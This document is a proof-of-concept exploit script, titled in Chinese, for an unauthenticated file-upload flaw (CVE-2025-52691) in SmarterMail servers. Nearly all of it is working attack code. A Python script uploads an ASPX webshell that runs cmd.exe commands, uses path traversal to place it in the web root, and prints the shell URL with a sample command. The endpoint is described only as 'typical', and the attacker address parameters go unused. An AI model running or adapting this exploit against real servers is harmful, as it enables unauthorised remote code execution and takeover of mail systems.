CVE-2025-52691 SmarterMail 未经授权任意文件上传漏洞

# CVE-2025-52691 SmarterMail Arbitrary File Upload PoC # Target: SmarterMail server (unauthenticated) # Impact: Remote Code Execution import requests import sys def exploit_smartermail(target_url, attacker_ip, attacker_port): """ Exploit CVE-2025-52691: Unauthenticated arbitrary file upload Uploads a webshell to the SmarterMail server """ # Webshell content - ASPX webshell for Windows/.NET environment webshell = ''' <%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <script runat="server"> void Page_Load(object sender, EventArgs e) { string cmd = Request.QueryString["cmd"]; if (cmd != null) { ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c " + cmd; psi.RedirectStandardOutput = true; psi.UseShellExecute = false; Process p = Process.Start(psi); Response.Write(p.StandardOutput.ReadToEnd()); } } </script> ''' # Target path for webshell upload (using path traversal) upload_path = "../../../../../../../../../../wwwroot/webshell.aspx" # File upload endpoint (typical SmarterMail upload endpoint) upload_url = f"{target_url}/WebResources/AttachFile" # Construct multipart form data request files = { 'file': ('webshell.aspx', webshell, 'application/x-aspx') } data = { 'path': upload_path } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': '*/*' } print(f"[*] Target: {target_url}") print(f"[*] Uploading webshell to: {upload_path}") try: # Send malicious file upload request response = requests.post( upload_url, files=files, data=data, headers=headers, timeout=30 ) if response.status_code == 200: print("[+] File uploaded successfully!") webshell_url = f"{target_url}/webshell.aspx" print(f"[+] Webshell URL: {webshell_url}") print(f"[+] Example command: {webshell_url}?cmd=whoami") return True else: print(f"[-] Upload failed. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-52691.py <target_url>") print("Example: python cve-2025-52691.py http://vulnerable-server:2000") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_smartermail(target, "attacker_ip", 4444)